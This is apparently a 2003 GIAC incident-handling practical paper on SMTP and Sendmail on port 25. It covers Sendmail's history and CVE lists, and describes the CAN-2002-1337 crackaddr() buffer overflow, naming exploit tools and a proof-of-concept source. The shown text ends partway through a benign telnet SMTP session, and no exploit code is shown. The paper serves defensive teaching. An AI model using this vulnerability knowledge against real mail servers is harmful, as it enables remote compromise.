Use offense to inform defense. Find flaws before the bad guys do.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
GIAC Certified Incident Handler (GCIH)
Practical Assignment
Version 2.1a (revised January 20, 2003)
Option2 – Support for the Cyber Defense Initiative

Port 25
“SMTP – Always a victim of a good time”

Submitted by James Lock
# Table of Contents

Abstract .......................................................................................................................... 2  
Part 1 Targeted Port ........................................................................................................ 3  
  Targeted services ........................................................................................................ 3  
  Description .................................................................................................................. 5  
  Protocol ....................................................................................................................... 7  
  Vulnerabilities ............................................................................................................ 8  
Part 2 Specific exploit .................................................................................................... 11  
  Exploit Details ............................................................................................................. 11  
  Description of variants ............................................................................................... 15  
  Protocol Description ................................................................................................... 17  
  How the exploit works ............................................................................................... 24  
  Diagram ....................................................................................................................... 27  
  How to use the exploit ............................................................................................... 28  
  Signature of the attack ............................................................................................... 29  
  How to Protect against it ............................................................................................ 30  
  Source code/Pseudo code .......................................................................................... 30  
Additional Information ................................................................................................ 40  
Closing comments ......................................................................................................... 40  
  Preparation .................................................................................................................. 42  
  Identification ............................................................................................................... 43  
  Containment ................................................................................................................. 44  
  Eradication .................................................................................................................. 44  
  Recovery ....................................................................................................................... 44  
  Lessons Learned ......................................................................................................... 45  
References ..................................................................................................................... 46  
Appendix A ..................................................................................................................... 48  
Appendix B ..................................................................................................................... 56
Abstract

This paper will describe the frequently targeted services and applications that use port 25 in general and specifically Simple Mail Transfer Protocol (SMTP) and Sendmail. This paper will give a brief history and description of SMTP and Sendmail, and will identify various vulnerabilities associated with it and attempt to show why Sendmail is inherently insecure. This paper will also demonstrate how one of the attacks works by showing traces of the exploit in action.

This paper will not address malicious abuse of improperly configured mail hosts (i.e. open relays).

In closing this paper will describe techniques to make Sendmail more secure. In addition, it will briefly address responses to an incident once it occurs.
Part 1 Targeted Port

The table below was taken from http://isc.incidents.org/top10.html as of May 20, 2003 14:28 GMT. The focus of this paper is port 25, number 7 on the list of the top 10.

<table>
<thead>
<tr>
<th>Service Name</th>
<th>Port Number</th>
<th>30 day history</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>netbios-ns</td>
<td>137</td>
<td></td>
<td>NETBIOS Name Service</td>
</tr>
<tr>
<td>www</td>
<td>80</td>
<td></td>
<td>World Wide Web HTTP</td>
</tr>
<tr>
<td>microsoft-ds</td>
<td>445</td>
<td></td>
<td>Win2k+ Server Message Block</td>
</tr>
<tr>
<td>ms-sql-m</td>
<td>1434</td>
<td></td>
<td>Microsoft-SQL-Monitor</td>
</tr>
<tr>
<td>Ident</td>
<td>113</td>
<td></td>
<td></td>
</tr>
<tr>
<td>netbios-ssn</td>
<td>139</td>
<td></td>
<td>NETBIOS Session Service</td>
</tr>
<tr>
<td>Smtp</td>
<td>25</td>
<td></td>
<td>Simple Mail Transfer</td>
</tr>
<tr>
<td>Domain</td>
<td>53</td>
<td></td>
<td>Domain Name Server</td>
</tr>
<tr>
<td>eDonkey2000</td>
<td>4662</td>
<td></td>
<td>eDonkey2000 Server Default Port</td>
</tr>
<tr>
<td>---</td>
<td>0</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Table 1 Top 10 Targeted Ports

Targeted services

By far the most common service running on port 25 is SMTP(Simple Mail Transfer Protocol), which is widely used to transfer electronic mail from one network to another; however, there are many trojan services that also abuse this port. The table below shows the list of these other services (taken from the Internet Storm Center web site http://isc.incidents.org/port_details.html?port=25):
For the purpose of this paper I will keep the focus on SMTP and Sendmail. Although SMTP is the underlying protocol and Sendmail is the application working as a Message Transport Agent (MTA), the two are so tightly intertwined it is hard to distinguish the demarcation point between them.

Table 2 illustrates many services using port 25; however, they are all Trojans (malicious programs that are disguised as a legitimate programs) except...
for the 2 associated with SMTP, which is the protocol assigned to port 25 by the Internet Assigned Numbers Authority (IANA – http://www.iana.org/). It is important to note at this juncture that port 25 is a ‘privileged port’, a privileged port is a port numbered less than 1024 (these ports will normally be assigned to a specific protocol, such as telnet – port 23 or in this case SMTP - port 25), services bound to these ports normally run in privileged mode (i.e. as root or superuser). This makes any service that runs on a privileged port an inviting target for malicious actions. If a hacker can compromise a service running on a privileged port they will have access to the compromised host with the same level of privileges as service compromised.

Description

Sendmail is the most common application that uses port 25. Sendmail’s purpose is to facilitate the sending and receiving of electronic mail from one computer to another.

History of Sendmail

Many people have argues that Electronic mail or email is the most useful application of the Internet. Sendmail is the underlying application that the majority of networks use to deliver mail into and out of their networks. Regardless of what type of email client you may use (Outlook, Outlook Express, Eudora etc) the mail you receive or send will most likely pass though a sendmail host somewhere along the way. Sendmail evolved from Eric Allman’s Delivermail program, which used ftp to transfer mail over ARPANET (Advanced Research Project Agency network), in response to the then new protocols called TCP/IP and SMTP. Sendmail was made available in April of 1983 as part of 4.1c BSD Unix (reference http://chris.dci-uk.com/print.php?sid=26). Sendmail was able to set itself apart from the other mail programs of the time by being flexible enough to accept incoming mail from different types of systems. Instead of rejecting the mail due to ‘incorrect protocols’, it would massage the message into a format it could deal with and pass it on. This flexibility came with a cost: complexity. Sendmail is a monolithic program (all functionality is in 1 program), and the configuration file can be very cryptic, as you can see from the snip below.

Snip from a sendmail.cf file:

```
H?P?Return-Path: <$g>
HReceived: $?from $s $.? ($?s$?from $s$.)
     $?{auth_type}(authenticated$?{auth_type} bits=$(auth_type)$.)
     $by $?r with $r$. id $?i?(tls_version)
     (version=$?{tls_version} cipher=${cipher} bits=$(cipher_bits) verify=${verify})$.$?
     for $u; $|;
     $.$b
H?D?Resent-Date: $a
```
In addition to the flexibility built into sendmail, it also separated the mail routing from the mail delivery and reading. Sendmail only performs the routing functions and leaves the delivery and reading to the local agents that the user selects.

The complexity of Sendmail is important when we start to talk about why sendmail is ‘always a victim of a good time’ for hackers. The code is written under the open source umbrella and the code is freely available and distributable. To give an example of how often sendmail gets ‘picked on’, Table 3 shows the frequency of Sendmail releases needed to address one problem or another over the last year. 4 out of 6 were pertaining to security vulnerabilities. Table 4 shows the Sendmail releases from the past 5 years, illustrating the volatility of sendmail.

| Version 8.12.9 was released on March 29 2003. | SECURITY: Fix a buffer overflow in address parsing due to a char to int conversion problem, which is potentially remotely exploitable. Problem found by Michal Zalewski. Note: an MTA that is not patched might be vulnerable to data that it receives from untrusted sources, which includes DNS. |
| Version 8.12.8 was released on March 3 2003. | SECURITY: Fix a remote buffer overflow in header parsing by dropping sender and recipient header comments if the comments are too long. Problem noted by Mark Dowd of ISS X-Force. |
| Version 8.12.7 was released on December 292002. | |
| Version 8.12.6 was released on August 262002. | |
| Version 8.12.5 was released on June 252002. | SECURITY: The DNS map can cause a buffer overflow if the user specifies a dns map using TXT records in the configuration file and a rogue DNS server is queried. None of the sendmail supplied |
configuration files use this option hence they are not vulnerable. Problem noted independently by Joost Pol of PINE Internet and Anton Rang of Sun Microsystems.

Version 8.12.4 was released on June 32002. SECURITY: Inherent limitations in the UNIX file locking model can leave systems open to a local denial of service attack. Problem noted by lumpy.

Table 3 Last year of releases source ftp://ftp.sendmail.org/pub/sendmail/RELEASE_NOTES

<table>
<thead>
<tr>
<th>Version</th>
<th>Release Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>8.12.6</td>
<td>August 26, 2002.</td>
</tr>
<tr>
<td>8.12.3</td>
<td>April 5, 2002.</td>
</tr>
<tr>
<td>8.11.6</td>
<td>August 20, 2001.</td>
</tr>
<tr>
<td>8.11.5</td>
<td>July 31, 2001.</td>
</tr>
<tr>
<td>8.11.3</td>
<td>February 27, 2001.</td>
</tr>
<tr>
<td>8.11.2</td>
<td>December 29, 2000.</td>
</tr>
<tr>
<td>8.11.1</td>
<td>September 28, 2000.</td>
</tr>
<tr>
<td>8.11.0</td>
<td>July 19, 2000.</td>
</tr>
<tr>
<td>8.10.2</td>
<td>June 7, 2000.</td>
</tr>
<tr>
<td>8.10.1</td>
<td>April 7, 2000.</td>
</tr>
<tr>
<td>8.10.0</td>
<td>March 7, 2000.</td>
</tr>
<tr>
<td>8.9.3</td>
<td>February 4, 1999.</td>
</tr>
<tr>
<td>8.9.2</td>
<td>December 31, 1998.</td>
</tr>
<tr>
<td>8.9.1</td>
<td>July 2, 1998.</td>
</tr>
<tr>
<td>8.9.0</td>
<td>May 20, 1998.</td>
</tr>
</tbody>
</table>

Table 4 Sendmail Releases last 5 years http://www.sendmail.org/faq/section2.html - 2.7

**Protocol**

Sendmail uses SMTP to transport mail from one computer to another over a computer network. SMTP is the protocol developed with the objective of transferring electronic mail reliably and efficiently. As noted in RFC0821
SMTP is independent of the particular transmission subsystem and requires only a reliable ordered data stream channel. An important feature of SMTP is its capability to relay mail across transport service environments (for example a TCP network and X.25 network).

**Vulnerabilities**

The table below (table 5) shows the common vulnerabilities and exposures (CVE, see [http://www.cve.mitre.org/](http://www.cve.mitre.org/) for more information) as well as candidates, that target port 25 and Sendmail. CVE was created to attempt to standardize the names used to identify publicly known vulnerabilities and security exposures with the goal of making it easier to share information on these exposures as well as security tools used to defend against these exposures. This paper focuses on Sendmail running in daemon mode on RedHat Linux; however, the theory and practices will be applicable across platforms.

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0047</td>
<td>MIME conversion buffer overflow in sendmail versions 8.8.3 and 8.8.4.</td>
</tr>
<tr>
<td>CVE-1999-0057</td>
<td>Vacation program allows command execution by remote users through a sendmail command.</td>
</tr>
<tr>
<td>CVE-1999-0095</td>
<td>The debug command in Sendmail is enabled, allowing attackers to execute commands as root.</td>
</tr>
<tr>
<td>CVE-1999-0096</td>
<td>Sendmail decode alias can be used to overwrite sensitive files</td>
</tr>
<tr>
<td>CVE-1999-0129</td>
<td>Sendmail allows local users to write to a file and gain group permissions via a .forward or :include: file.</td>
</tr>
<tr>
<td>CVE-1999-0130</td>
<td>Local users can start Sendmail in daemon mode and gain root privileges.</td>
</tr>
<tr>
<td>CVE-1999-0131</td>
<td>Buffer overflow and denial of service in Sendmail 8.7.5 and earlier through GECOS field gives root access to local users.</td>
</tr>
<tr>
<td>CVE-1999-0145</td>
<td>Sendmail WIZ command enabled, allowing root access.</td>
</tr>
<tr>
<td>CVE-1999-0203</td>
<td>In Sendmail, attackers can gain root privileges via SMTP by specifying an improper &quot;mail from&quot; address and an invalid &quot;rcpt to&quot; address that would cause the mail to bounce to a program.</td>
</tr>
<tr>
<td>CVE-1999-0204</td>
<td>Sendmail 8.6.9 allows remote attackers to execute root commands, using ident.</td>
</tr>
<tr>
<td>CVE-1999-0206</td>
<td>MIME buffer overflow in Sendmail 8.8.0 and 8.8.1 gives root access.</td>
</tr>
<tr>
<td>CVE-1999-0393</td>
<td>Remote attackers can cause a denial of service in Sendmail 8.8.x and 8.9.2 by sending messages with a large number of headers.</td>
</tr>
<tr>
<td>CVE-1999-0478</td>
<td>Denial of service in HP-UX sendmail 8.8.6 related to accepting connections.</td>
</tr>
<tr>
<td>CVE-1999-0769</td>
<td>Vixie Cron on Linux systems allows local users to set</td>
</tr>
<tr>
<td>CVE-1999-0976</td>
<td>Sendmail allows local users to reinitialize the aliases database via the newaliases command, then cause a denial of service by interrupting Sendmail.</td>
</tr>
<tr>
<td>CVE-1999-1109</td>
<td>Sendmail before 8.10.0 allows remote attackers to cause a denial of service by sending a series of ETRN commands then disconnecting from the server, while Sendmail continues to process the commands after the connection has been terminated.</td>
</tr>
<tr>
<td>CVE-1999-1309</td>
<td>Sendmail before 8.6.7 allows local users to gain root access via a large value in the debug (-d) command line option.</td>
</tr>
<tr>
<td>CVE-1999-1468</td>
<td>rdist in various UNIX systems uses popen to execute sendmail, which allows local users to gain root privileges by modifying the IFS (Internal Field Separator) variable.</td>
</tr>
<tr>
<td>CVE-2000-0319</td>
<td>mail.local in Sendmail 8.10.x does not properly identify the \n string which identifies the end of message text, which allows a remote attacker to cause a denial of service or corrupt mailboxes via a message line that is 2047 characters long and ends in \n.</td>
</tr>
<tr>
<td>CVE-2000-0348</td>
<td>A vulnerability in the Sendmail configuration file sendmail.cf as installed in SCO UnixWare 7.1.0 and earlier allows an attacker to gain root privileges.</td>
</tr>
<tr>
<td>CVE-2000-0506</td>
<td>The &quot;capabilities&quot; feature in Linux before 2.2.16 allows local users to cause a denial of service or gain privileges by setting the capabilities to prevent a setuid program from dropping privileges, aka the &quot;Linux kernel setuid/setcap vulnerability.&quot;</td>
</tr>
<tr>
<td>CVE-2001-0653</td>
<td>Sendmail 8.10.0 through 8.11.5, and 8.12.0 beta, allows local users to modify process memory and possibly gain privileges via a large value in the 'category' part of debugger (-d) command line arguments, which is interpreted as a negative number.</td>
</tr>
<tr>
<td>CVE-2001-1075</td>
<td>poprelayd script before 2.0 in Cobalt RaQ3 servers allows remote attackers to bypass authentication for relaying by causing a &quot;POP login by user&quot; string that includes the attacker's IP address to be injected into the maillog log file.</td>
</tr>
<tr>
<td>CVE-2001-1349</td>
<td>Sendmail before 8.11.4, and 8.12.0 before 8.12.0.Beta10, allows local users to cause a denial of service and possibly corrupt the heap and gain privileges via race conditions in signal handlers.</td>
</tr>
<tr>
<td>CVE-2002-0906</td>
<td>Buffer overflow in Sendmail before 8.12.5, when configured to use a custom DNS map to query TXT records, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a malicious DNS server.</td>
</tr>
<tr>
<td>CAN-1999-0098</td>
<td>Buffer overflow in SMTP HELO command in Sendmail allows a remote attacker to hide activities.</td>
</tr>
<tr>
<td>CAN-1999-0163</td>
<td>In older versions of Sendmail, an attacker could use a pipe character to execute root commands.</td>
</tr>
<tr>
<td>CAN-1999-0418</td>
<td>Denial of service in SMTP applications such as Sendmail, when a remote attacker (e.g. spammer) uses many &quot;RCPT TO&quot; commands in the same connection.</td>
</tr>
<tr>
<td>CAN-1999-0565</td>
<td>A Sendmail alias allows input to be piped to a program.</td>
</tr>
<tr>
<td>CAN-1999-0684</td>
<td>Denial of service in Sendmail 8.8.6 in HPUX.</td>
</tr>
<tr>
<td>CAN-1999-1506</td>
<td>Vulnerability in SMI Sendmail 4.0 and earlier, on SunOS up to 4.0.3, allows remote attackers to access user bin.</td>
</tr>
<tr>
<td>CAN-2000-0312</td>
<td>cron in OpenBSD 2.5 allows local users to gain root privileges via an argv[] that is not NULL terminated, which is passed to cron's fake popen function.</td>
</tr>
<tr>
<td>CAN-2001-0588</td>
<td>sendmail 8.9.3, as included with the MMDF 2.43.3b package in SCO OpenServer 5.0.6, can allow a local attacker to gain additional privileges via a buffer overflow in the first argument to the command.</td>
</tr>
<tr>
<td>CAN-2001-0713</td>
<td>Sendmail before 8.12.1 does not properly drop privileges when the -C option is used to load custom configuration files, which allows local users to gain privileges via malformed arguments in the configuration file whose names contain characters with the high bit set, such as (1) macro names that are one character long, (2) a variable setting which is processed by the setoption function, or (3) a Modifiers setting which is processed by the getmodifiers function.</td>
</tr>
<tr>
<td>CAN-2001-0714</td>
<td>Sendmail before 8.12.1, without the RestrictQueueRun option enabled, allows local users to cause a denial of service (data loss) by (1) setting a high initial message hop count option (-h), which causes Sendmail to drop queue entries, (2) via the -qR option, or (3) via the -qS option.</td>
</tr>
<tr>
<td>CAN-2001-0715</td>
<td>Sendmail before 8.12.1, without the RestrictQueueRun option enabled, allows local users to obtain potentially sensitive information about the mail queue by setting debugging flags to enable debug mode.</td>
</tr>
<tr>
<td>CAN-2001-0789</td>
<td>Format string vulnerability in avpkeeper in Kaspersky KAV 3.5.135.2 for Sendmail allows remote attacker to cause a denial of service or possibly execute arbitrary code via a malformed mail message.</td>
</tr>
<tr>
<td>CAN-2002-0985</td>
<td>The mail function in PHP 4.x to 4.2.2 may allow remote attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) in the 5th argument</td>
</tr>
<tr>
<td>CAN-2002-1165</td>
<td>Sendmail Consortium's Restricted Shell (SMRSH) in Sendmail 8.12.6, 8.11.6-15, and possibly other versions after 8.11 from 5/19/1998, allows attackers to bypass the intended restrictions of smrsh by inserting additional commands after (1) &quot;</td>
</tr>
<tr>
<td>CAN-2002-1278</td>
<td>The mailconf module in Linuxconf 1.24 on Conectiva Linux 6.0 through 8 generates the Sendmail configuration file (sendmail.cf) in a way that configures Sendmail to run as an open mail relay, which allows remote attackers to send Spam email.</td>
</tr>
<tr>
<td>CAN-2002-1337</td>
<td>Buffer overflow in Sendmail 5.79 to 8.12.7 allows remote attackers to execute arbitrary code via certain formatted address fields, related to sender and recipient header comments as processed by the crackaddr function of headers.c.</td>
</tr>
<tr>
<td>CAN-2003-0161</td>
<td>The prescan() function in the address parser (parseaddr.c) in Sendmail before 8.12.9 does not properly handle certain conversions from char and int types, which can cause a length check to be disabled when Sendmail misinterprets an input value as a special &quot;NOCHAR&quot; control value, allowing attackers to cause a denial of service and possibly execute arbitrary code via a buffer overflow attack using messages, a different vulnerability than CAN-2002-1337.</td>
</tr>
<tr>
<td>CAN-2003-0285</td>
<td>IBM AIX 5.2 and earlier distributes Sendmail with a configuration file (sendmail.cf) with the (1) promiscuous_relay, (2) accept_unresolvable_domains, and (3) accept_unqualified_senders features enabled, which allows Sendmail to be used as an open mail relay for sending spam e-mail.</td>
</tr>
<tr>
<td>CAN-2003-0308</td>
<td>The Sendmail 8.12.3 package in Debian GNU/Linux 3.0 does not securely create temporary files, which could allow local users to gain additional privileges via (1) expn, (2) checksendmail, or (3) doublebounce.pl.</td>
</tr>
</tbody>
</table>

Table 5 Sendmail CVE's from [http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sendmail](http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sendmail)

**Part 2 Specific exploit**

**Exploit Details**
Summary

ATTACK NAME: bysin
CVE #: CAN-2002-1337
TARGET OS: OS independent
TOOLS RUN ON: REDHAT linux
PROTOCOLS: SMTP
DESCRIPTION: Buffer overflow

Exploit Name

Remote Buffer Overflow in Sendmail
CERT® Advisory CA-2003-07
CVE CAN-2002-1337

Variants

Sendmail has a history of being victimized by attacks that use buffer overflows with varying effects that include denial of service, remote access and execution of arbitrary code on the host. Listed below are other Sendmail buffer overflow vulnerabilities listed at the CVE website (http://www.cve.mitre.org/):

CVE-2002-0906
Allows remote attackers to cause a denial of service and possibly execute arbitrary code via a malicious DNS server

CAN-1999-0098
Buffer overflow in SMTP HELO command in Sendmail allows a remote attacker to hide activities

CAN-2003-0161
Allows attackers to cause a denial of service and possibly execute arbitrary code via a buffer overflow attack using messages

Operating systems and applications effected

The operating systems and Sendmail versions vulnerable to this exposure according to the security focus website (reference http://www.securityfocus.com/bid/6991/info/) are listed below. For the most part, this exploit affects any Operating System that is running Sendmail prior to version 8.12.8.

Gentoo Linux 1.4 _rc2
Gentoo Linux 1.4 _rc1
HP AlphaServer SC
HP HP-UX 10.10
HP HP-UX 10.20
HP HP-UX 11.0 4
HP HP-UX 11.0
HP HP-UX 11.11
HP HP-UX 11.22
HP MPE/iX 6.5
IBM MVS
IBM OS/390 V2R8
IBM OS/390 V2R10
IBM z/OS V1R4
IBM z/OS V1R2
NetBSD NetBSD 1.5
NetBSD NetBSD 1.5.1
NetBSD NetBSD 1.5.2
NetBSD NetBSD 1.5.3
NetBSD 1.6
SCO Open UNIX 8.0
SCO Unixware 7.1.1
SCO Unixware 7.1.3
Sendmail Consortium
Sendmail 5.59
Sendmail 5.61
Red Hat Linux 6.2 i386
Red Hat Linux 7.0 i386
Red Hat Linux 7.1 i386
Red Hat Linux 7.2 i386
Red Hat Linux 7.2 ia64
Red Hat Linux 7.3 i386
S.u.S.E. Linux 7.3
S.u.S.E. Linux 7.3 ia64
S.u.S.E. Linux 7.3 i386
S.u.S.E. Linux 7.3 ppc
S.u.S.E. Linux 7.3
S.u.S.E. Linux 7.3
sparc
Sun Cobalt RaQ 550
Sun Linux 5.0
Sun Linux 5.0.3
Sendmail Consortium
Sendmail 8.12 beta7
Sendmail Consortium
Sendmail 8.12 beta5
Sendmail Consortium
Sendmail 8.12 beta16
Sendmail Consortium
Sendmail 8.12 beta12
Sendmail Consortium
Sendmail 8.12 beta10
Sendmail Consortium
Sendmail 8.12 .0
Sendmail Consortium
Sendmail 8.12.1
+ HP MPE/iX 7.0
+ HP MPE/iX 7.5
+ MandrakeSoft Linux
Mandrake 8.2
+ MandrakeSoft Linux
Mandrake 8.2 ppc
Sendmail Consortium
Sendmail 8.12.2
+ Apple MacOS X 10.2
+ Apple MacOS X 10.2.1
+ Apple MacOS X 10.2.2
+ Apple MacOS X 10.2.3
+ Apple MacOS X
Server 10.2
+ Apple MacOS X
Server 10.2.1
+ Apple MacOS X
Server 10.2.2
+ Apple MacOS X
Server 10.2.3
+ OpenBSD OpenBSD
3.1
Sendmail Consortium
Sendmail 8.12.3
+ Debian Linux 3.0
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 sparc
+ FreeBSD FreeBSD 4.6
+ S.u.S.E. Linux 8.0
+ S.u.S.E. Linux 8.0 i386
Sendmail Consortium
Sendmail 8.12.4
+ OpenBSD OpenBSD 3.2
+ Slackware Linux - current
+ Slackware Linux 8.1
Sendmail Consortium
Sendmail 8.12.5
+ Conectiva Linux 9.0
+ OpenBSD OpenBSD 3.2
Sendmail Consortium
Sendmail 8.12.6
+ Apple MacOS X 10.2.4
+ FreeBSD FreeBSD 4.7
+ FreeBSD FreeBSD 5.0
+ MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Linux
Mandrake 9.0
+ OpenBSD OpenBSD 3.2
+ S.u.S.E. Linux 8.1
Sendmail Consortium
Sendmail 8.12.7
+ Slackware Linux 8.1
Sendmail Inc Sendmail
Advanced Message Server 1.2
Sendmail Inc Sendmail
Advanced Message Server 1.3
Sendmail Inc Sendmail for NT 2.6
Sendmail Inc Sendmail for NT 2.6.1
Sendmail Inc Sendmail for NT 3.0
Sendmail Inc Sendmail for NT 3.0.1
Sendmail Inc Sendmail for NT 3.0.2
Sendmail Inc Sendmail
Switch 2.1
Sendmail Inc Sendmail
Switch 2.1.1
Sendmail Inc Sendmail
Switch 2.1.2
Sendmail Inc Sendmail
Switch 2.1.3
Sendmail Inc Sendmail
Switch 2.1.4
Sendmail Inc Sendmail
Switch 2.2
Sendmail Inc Sendmail
Switch 2.2.1
Sendmail Inc Sendmail
Switch 2.2.2
Sendmail Inc Sendmail
Switch 2.2.3
Sendmail Inc Sendmail
Switch 2.2.4
Sendmail Inc Sendmail
Switch 3.0
Sendmail Inc Sendmail
Switch 3.0.1
Sendmail Inc Sendmail
Switch 3.0.2
SGI FreeWare 1.0
Sun Cobalt CacheRaQ 4
Sun Cobalt ManageRaQ3 3000R-mr
Sun Cobalt Qube 3
Sun Cobalt RaQ 3
Sun Cobalt RaQ 4
Sun Cobalt RaQ 550
Sun Cobalt RaQ XTR
Sun LX50
Sun Solaris 2.6 _x86
Sun Solaris 2.6
Sun Solaris 7.0 _x86
Sun Solaris 7.0
Sun Solaris 8.0 _x86
Sun Solaris 8.0
Sun Solaris 8.0
Sun Solaris 9.0 _x86
Sun Solaris 9.0
Sun Solaris 9.0
Wind River Systems
BSD/OS 4.2
Wind River Systems
BSD/OS 4.3.1
Wind River Systems
BSD/OS 5.0
Wind River Systems
Platform SA 1.0
**Protocols/Services**

This exploit takes advantage of Sendmail (versions prior to 8.12.8) using SMTP. The vulnerability can allow a remote user to gain control of the victim system or cause a denial of service. This attack is delivered by an email message with specifically crafted address field.

**Description**

Sendmail (versions prior to 8.12.8) are vulnerable to this buffer overflow due to the manner in which the fields containing the address or list of addresses are evaluated during the SMTP transaction. One of Sendmail’s security checks (crackaddr(), see appendix A) that handles the parsing of the characters from these fields is flawed and can allow a specially crafted address field to trigger a buffer overflow. Since this vulnerability is message-oriented as opposed to connection-oriented, the vulnerability is triggered by the contents of a specially crafted email message rather than by lower-level network traffic. In a message-oriented attack the mail host receives what appears to be a legitimate message. It follows all the rules required of a message. A firewall will also see this traffic as legitimate and allow it to pass. This results in significant impact on the system; in order to protect the mail host it must be taken off-line and patched (denial-of-service).

**Description of variants**

The table below (table 6) shows a list of known buffer overflows affecting Sendmail, including the subject of this paper (CAN-2002-1337). This table is based on information gathered from the CVE website (http://www.cve.mitre.org/).

<table>
<thead>
<tr>
<th>CVE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0906</td>
<td>Buffer overflow in Sendmail before 8.12.5, when configured to use a custom DNS map to query TXT records, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a malicious DNS server.</td>
</tr>
<tr>
<td>CAN-1999-0098</td>
<td>Buffer overflow in SMTP HELO command in Sendmail allows a remote attacker to hide activities.</td>
</tr>
<tr>
<td>CAN-2002-1337</td>
<td>Buffer overflow in Sendmail 5.79 to 8.12.7 allows remote attackers to execute arbitrary code via certain formatted address fields, related to sender and recipient header comments as processed by the crackaddr function of headers.c.</td>
</tr>
<tr>
<td>CAN-2003-0161</td>
<td>The prescan() function in the address parser (parseaddr.c) in Sendmail before 8.12.9 does not properly handle certain conversions from char and int types, which can cause a length check to be disabled when Sendmail misinterprets an input value as a special &quot;NOCHAR&quot; control value, allowing attackers to cause a denial of service and possibly</td>
</tr>
</tbody>
</table>
execute arbitrary code via a buffer overflow attack using messages, a different vulnerability than CAN-2002-1337.

Table 6 Sendmail Buffer Overflows

One variant (although not classified as a variant by CERT or MITRE, it has significant similarities) that came just 30 days after the subject exploit of this paper is CVE CAN-2003-0161.

<table>
<thead>
<tr>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>ATTACK NAME: Buffer overflow</td>
</tr>
<tr>
<td>CVE #: CAN-2003-0161</td>
</tr>
<tr>
<td>TARGET OS: OS independent</td>
</tr>
<tr>
<td>TOOLS RUN ON: prejack</td>
</tr>
<tr>
<td>PROTOCOLS: SMTP</td>
</tr>
<tr>
<td>DESCRIPTION: Buffer overflow</td>
</tr>
</tbody>
</table>

CERT® Advisory CA-2003-12 Buffer Overflow in Sendmail

This vulnerability targets the prescan() function of Sendmail. If specific characters are passed to this function it will allow the length check to be skipped and allow the instruction pointer to be overwritten. It is prescan's job to check for malformed or overly long tokens that are created from the 'from address' elements. If the character variable in prescan gets a 0xff character it can bypass the length check and allow stack variables to be overwritten. Michal Zalewski discovered this vulnerability (reference http://www.cert.org/advisories/CA-2003-12.html).

The folks from 127 research and development provided a proof of concept code called prejack and is available at http://www.7f.no-ip.com/.

Similarities

- Both can be exploited to cause a denial-of-service condition and could allow a remote attacker to execute arbitrary code with the privileges of the Sendmail daemon, typically root.
- Both are message-oriented, and take advantage of Sendmail's address parsing code that does not adequately check the length of email addresses. An email message with a specially crafted address could trigger a stack overflow.

Differences

- The most significant difference between the two is; CVE CAN-2002-1337 targets the crackaddr() function where CVE CAN-2003-0161 targets the prescan() function. Since the target functions differ, the methodology of the attacks also differs drastically.
Further information on the Sendmail address prescan memory corruption vulnerability can be found at the following websites:

http://www.7f.no-ip.com/
https://gtoc.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=22127
http://www.securityfocus.com/bid/7230

Protocol Description
SMTP defines the manner in which two devices will transmit or receive messages. The specifications include:

- Session initiation.
- The commands to be used (MAIL, DATA, RCPT, VRFY etc.).
- The replies and errors (for example: -- 250 Requested mail action okay completed, -- 500 Syntax error, command unrecognized etc.).
- How the sending device will indicate it is finished sending a message.
- How the receiving device will indicate it has received a message.
- Session termination.

Since the beginnings of the Internet, there have been many public open standards published, which are called Requests For Comments (RFC’s). Many of these RFC’s are related to email standards (for more information on RFC’s see: http://www.ietf.org/rfc.html).

The SMTP specification originally started with the Mail Transfer Protocol in 1980 (RFC772), evolved into SMTP in 1981 (RFC821), and since has been enhanced into the protocol we use now, RFC2821 supercedes RFC821. SMTP is used for sending email messages between message transport agents; which can then be retrieved by an email client using POP (Post Office Protocol), IMAP (Internet Message Access Protocol) or any other of the many choices available.

The SMTP model is as the name implies, simple. The simplicity is one of the greatest strengths of SMTP. The SMTP model is basically this: The sending host will establish a 2-way channel with the receiver as a result of a mail request. The receiving host may be the final destination or a relay. The sending host generates the SMTP commands and replies are sent back in response to those commands by the receiving host. Once the channel is set up, the sending host will issue the MAIL command indicating the sender of the mail. If the receiving host can accept mail, it will respond with an ‘ok’ reply. The sending host will then send a RCPT command to identify the recipient of the mail, and if the receiving host can accept mail for that recipient it will respond with an ‘ok’ reply, if not it will respond with a reject (rejecting that recipient, not the whole email). The email may contain several recipients and each one will go through the process. Once all recipients have been negotiated, the sending host will transmit the data, and send a done sequence when complete. The receiving host will process the data and reply with an “ok”. The basic SMTP conversation is depicted in the figure below; one thing to point out here is that when researching SMTP and Sendmail,
they will both diagram out the same way (i.e. the Sendmail conversation will look
the same as the SMTP conversation) since Sendmail uses SMTP to move mail
from one host to another.

Looking at the network trace of normal SMTP traffic we can see the conversation
in action. The session below shows a manual telnet to port 25 to send mail to a
user on a remote system, we can see from this trace the steps that are pictured
above.

```
[root@hacker root]# telnet 10.10.10.10 25
Trying 10.10.10.10...
Connected to 10.10.10.10.
Escape character is '^]'.
220 Victim.us.com ESMTP Sendmail 8.11.6/8.11.6; Fri, 20 Jun 2003 06:41:13 -0500
HELO 10.10.10.20
250 Victim.us.com Hello Hacker.usaa.com [10.10.10.20], pleased to meet you
MAIL FROM:root_@10.10.10.20
250 2.1.0 root_@10.10.10.20... Sender ok
RCPT TO:root
250 2.1.5 root... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
this is a test
.
